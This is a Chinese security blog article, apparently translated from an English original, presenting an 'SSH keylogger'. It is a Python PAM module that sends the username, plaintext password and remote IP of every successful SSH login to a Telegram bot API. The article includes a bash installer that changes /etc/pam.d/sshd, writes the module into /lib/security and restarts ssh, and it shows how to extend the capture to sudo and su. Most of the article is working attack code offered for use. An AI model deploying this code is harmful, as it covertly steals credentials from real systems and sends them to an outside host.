不久前，我曾写过一篇关于使用strace来获取ssh密码的文章。但该方法并不是时常有效的，因为在不同的发行版上strace的输出并不相同。所以在本文中，我将为大家介绍另外一种获取ssh密码的方法。这种方法是我在ChokePoint找到的 ，他向我们展示了如何使用python创建PAM模块记录失败的尝试，现在我要做的就是更改登录密码的地方。原脚本中当登录失败时，使用的auth_log函数。

if not check_pw(user, resp.resp):
        auth_log("Remote Host: %s (%s:%s)" % (pamh.rhost, user, resp.resp))
        return pamh.PAM_AUTH_ERR
return pamh.PAM_SUCCESS

而在我的脚本中，当登录成功时使用的是我定义的函数sendMessage

if not check_pw(user, resp.resp):
        return pamh.PAM_AUTH_ERR
    sendMessage("Connection from host {} user:{} password: {})".format(pamh.rhost, user, resp.resp))
    return pamh.PAM_SUCCESS

该函数主要用于发送用户，密码以及连接的IP，以下是完整代码：

import spwd
import crypt
import requests

def sendMessage(msg):
    apiKey = 'BOT-API-KEY'
    userId = 'USERID'
    url = 'https://api.telegram.org/bot{}/sendMessage?chat_id={}&text={}'.format(apiKey,userId,msg)
    r = requests.get(url)

def check_pw(user, password):
    """Check the password matches local unix password on file"""
    hashed_pw = spwd.getspnam(user)[1]
    return crypt.crypt(password, hashed_pw) == hashed_pw

def pam_sm_authenticate(pamh, flags, argv):
    try:
        user = pamh.get_user()
    except pamh.exception as e:
        return e.pam_result

    if not user:
        return pamh.PAM_USER_UNKNOWN
    try:
        resp = pamh.conversation(pamh.Message(pamh.PAM_PROMPT_ECHO_OFF, 'Password:'))
    except pamh.exception as e:
        return e.pam_result

    if not check_pw(user, resp.resp):
        return pamh.PAM_AUTH_ERR

    sendMessage("Connection from host {} user:{} password: {})".format(pamh.rhost, user, resp.resp))
    return pamh.PAM_SUCCESS


def pam_sm_setcred(pamh, flags, argv):
    return pamh.PAM_SUCCESS


def pam_sm_acct_mgmt(pamh, flags, argv):
    return pamh.PAM_SUCCESS


def pam_sm_open_session(pamh, flags, argv):
    return pamh.PAM_SUCCESS


def pam_sm_close_session(pamh, flags, argv):
    return pamh.PAM_SUCCESS


def pam_sm_chauthtok(pamh, flags, argv):
    return pamh.PAM_SUCCESS

我还创建了一个bash脚本用于自动化的安装这个ssh keylogger，其中安装了所有的依赖关系，并在/etc/pam.d/sshd上配置了该PAM模块

#!/bin/bash

# Install dependencies to create a PAM module using python (Except for python-pip)
apt-get install python-pam libpam-python python-pip

# Install dependencies python
pip install requests

# Check if exist the entrie on pam, for this module
if ! grep -Fq "looter.py" /etc/pam.d/sshd;then
    sed -i "/common-auth/a auth requisite pam_python.so looter.py" /etc/pam.d/sshd
fi

code='
import spwd
import crypt
import requests

def sendMessage(msg):
    apiKey = "API-KEY"
    userId = "USER-ID"
    data = {"chat_id":userId,"text":msg}
    url = "https://api.telegram.org/bot{}/sendMessage".format(apiKey)
    r = requests.post(url,json=data)

def check_pw(user, password):
    """Check the password matches local unix password on file"""
    hashed_pw = spwd.getspnam(user)[1]
    return crypt.crypt(password, hashed_pw) == hashed_pw

def pam_sm_authenticate(pamh, flags, argv):
    try:
        user = pamh.get_user()
    except pamh.exception as e:
        return e.pam_result

    if not user:
        return pamh.PAM_USER_UNKNOWN
    try:
        resp = pamh.conversation(pamh.Message(pamh.PAM_PROMPT_ECHO_OFF, "Password:"))
    except pamh.exception as e:
        return e.pam_result

    if not check_pw(user, resp.resp):
        return pamh.PAM_AUTH_ERR

    sendMessage("Connection from host {} using the user {} and password {}".format(pamh.rhost, user, resp.resp))
    return pamh.PAM_SUCCESS


def pam_sm_setcred(pamh, flags, argv):
    return pamh.PAM_SUCCESS


def pam_sm_acct_mgmt(pamh, flags, argv):
    return pamh.PAM_SUCCESS


def pam_sm_open_session(pamh, flags, argv):
    return pamh.PAM_SUCCESS


def pam_sm_close_session(pamh, flags, argv):
    return pamh.PAM_SUCCESS


def pam_sm_chauthtok(pamh, flags, argv):
    return pamh.PAM_SUCCESS
'
mkdir -p /lib/security/
echo "$code" > /lib/security/looter.py
/etc/init.d/ssh restart

现在，只要有人成功登录了服务器，你就会收到以下的登录信息。

它也适用于sudo和su，只需添加以下代码

auth requisite pam_python.so looter.py

到下面两个文件中

/etc/pam.d/sudo
/etc/pam.d/su

或者你也可以直接git clone该项目并按照README.md上的说明进行操作

git clone https://github.com/mthbernardes/sshLooter.git

*参考来源：mthbernardes，FB小编 secist 编译，转载请注明来自FreeBuf.COM